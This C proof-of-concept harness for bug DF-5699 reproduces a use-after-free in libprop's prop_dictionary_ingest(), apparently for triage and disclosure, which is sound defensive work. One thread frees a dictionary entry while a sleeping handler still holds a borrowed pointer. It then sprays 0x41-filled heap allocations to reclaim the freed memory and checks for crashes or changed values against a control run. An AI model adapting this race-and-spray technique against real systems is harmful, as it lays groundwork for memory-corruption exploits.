DF-5699 / df5699_ingest_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 | /* * DF-5699 โ prop_dictionary_ingest() hands the driver handler a BORROWED, * UNPINNED object reference while the dictionary is completely unlocked. * * prop_ingest.c:133 obj = prop_dictionary_get(dict, pite->pite_key); * prop_dictionary.c:933-945 * prop_dictionary_get() takes pd_rwlock, copies out * pde->pde_objref WITHOUT prop_object_retain(), and * DROPS the lock before returning. * prop_ingest.c:152 (*pite->pite_handler)(ctx, obj); <-- arbitrary * driver code runs for unbounded time holding a * pointer whose only reference is still owned by * the dictionary. * * Any concurrent mutation that drops the key's last reference * (prop_dictionary_remove / prop_dictionary_set on the same key, or * releasing the dictionary) frees the object underneath the handler: * a use-after-free handed directly to kernel driver callback code. * * In-kernel reachability TODAY: latent โ sys/conf/files:2249 compiles * prop_ingest.c into every kernel ("standard"), but no in-tree caller * exists yet (rg over sys/ finds only conf/files). The same source ships * as the userland libprop, which exports this API to unprivileged * programs; this harness exercises the IDENTICAL source compiled from * /usr/src/sys/libprop (the established same-source rig). * * Harness: thread A runs prop_dictionary_ingest with a handler that * snapshots the object, sleeps, then reads it again. Thread B removes * the key during the sleep and immediately sprays sentinel-filled (0x41) * allocations of the object's size classes to reclaim the freed chunk. * * Outcome classes: * SIGSEGV โ po_type deref of 0x4141414141414141 (non-canonical) * in prop_object_type() => UAF realized. * type/value changed โ object reclaimed and scrubbed, differential read * returns garbage => UAF realized. * unchanged โ allocator did not reclaim this attempt; retry. * * Control mode (DF5699_CONTROL=1 in the environment): thread B sprays but * never removes the key. Nothing may crash or change. The delta between * control and experiment isolates prop_dictionary_remove's reference drop * as the cause. */ #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <libprop/proplib.h> static prop_dictionary_t dict; static volatile int phase; /* 0=pre, 1=handler sleeping, 2=read-back */ static prop_object_t borrowed; static prop_type_t t_before, t_after; static int64_t v_before, v_after; static bool ingest_handler(prop_ingest_context_t ctx, prop_object_t obj) { if (obj == NULL) return (true); (void)ctx; borrowed = obj; t_before = prop_object_type(obj); /* object still alive */ v_before = prop_number_integer_value(obj); phase = 1; usleep(400000); /* free window */ phase = 2; fprintf(stderr, "handler: post-sleep read-back begins\n"); fflush(stderr); t_after = prop_object_type(borrowed); /* <-- UAF read */ v_after = prop_number_integer_value(borrowed); fprintf(stderr, "handler: post-sleep read-back survived\n"); return (true); } static const prop_ingest_table_entry table[] = { PROP_INGEST("victim", PROP_TYPE_NUMBER, ingest_handler), PROP_INGEST_END }; static void * killer(void *arg) { static const size_t sizes[] = { 40, 48, 56, 64, 72, 80, 88, 96 }; int control = (arg != NULL); while (phase == 0) usleep(1000); if (!control) { /* Drop the dictionary's (only) reference: the prop_number * is not interned (prop_number.c:273 _prop_number_alloc * plain-mallocs), so its refcount hits zero and it is * freed right here, under the sleeping handler. */ prop_dictionary_remove(dict, "victim"); fprintf(stderr, "killer: prop_dictionary_remove() done โ " "victim freed under the handler\n"); } /* Reclaim the freed chunk with sentinel-filled allocations so any * later read sees 0x4141... (non-canonical po_type => SIGSEGV). */ for (size_t i = 0; i < 4096; i++) for (size_t s = 0; s < sizeof(sizes)/sizeof(sizes[0]); s++) { unsigned char *p = malloc(sizes[s]); if (p != NULL) memset(p, 0x41, sizes[s]); } fprintf(stderr, "killer: spray done\n"); return (NULL); } int main(void) { pthread_t th; prop_ingest_context_t ctx; prop_number_t num; int control = (getenv("DF5699_CONTROL") != NULL); bool ok; dict = prop_dictionary_create(); num = prop_number_create_integer((int64_t)0x1337beef00ll); if (dict == NULL || num == NULL) { fprintf(stderr, "setup failed\n"); return (2); } prop_dictionary_set(dict, "victim", num); prop_object_release(num); /* dict owns the only refcount now */ ctx = prop_ingest_context_alloc(NULL); if (ctx == NULL) return (2); pthread_create(&th, NULL, killer, (void *)(intptr_t)control); ok = prop_dictionary_ingest(dict, table, ctx); pthread_join(th, NULL); /* We only get here if the UAF read did not SIGSEGV. */ printf("control=%d ingest=%s type %d -> %d value 0x%llx -> 0x%llx\n", control, ok ? "true" : "false", t_before, t_after, (unsigned long long)v_before, (unsigned long long)v_after); if (control) { if (t_before != PROP_TYPE_NUMBER || t_after != t_before || v_before != (int64_t)0x1337beef00ll || v_after != v_before) { printf("RESULT: CONTROL CORRUPTED โ invalid run\n"); return (3); } printf("RESULT: control stable (expected)\n"); return (0); } if (t_before == PROP_TYPE_NUMBER && (t_after != t_before || v_after != v_before)) { printf("RESULT: UAF REALIZED via differential " "(type %d->%d, value changed)\n", t_before, t_after); return (42); } printf("RESULT: not reclaimed this attempt\n"); return (1); } |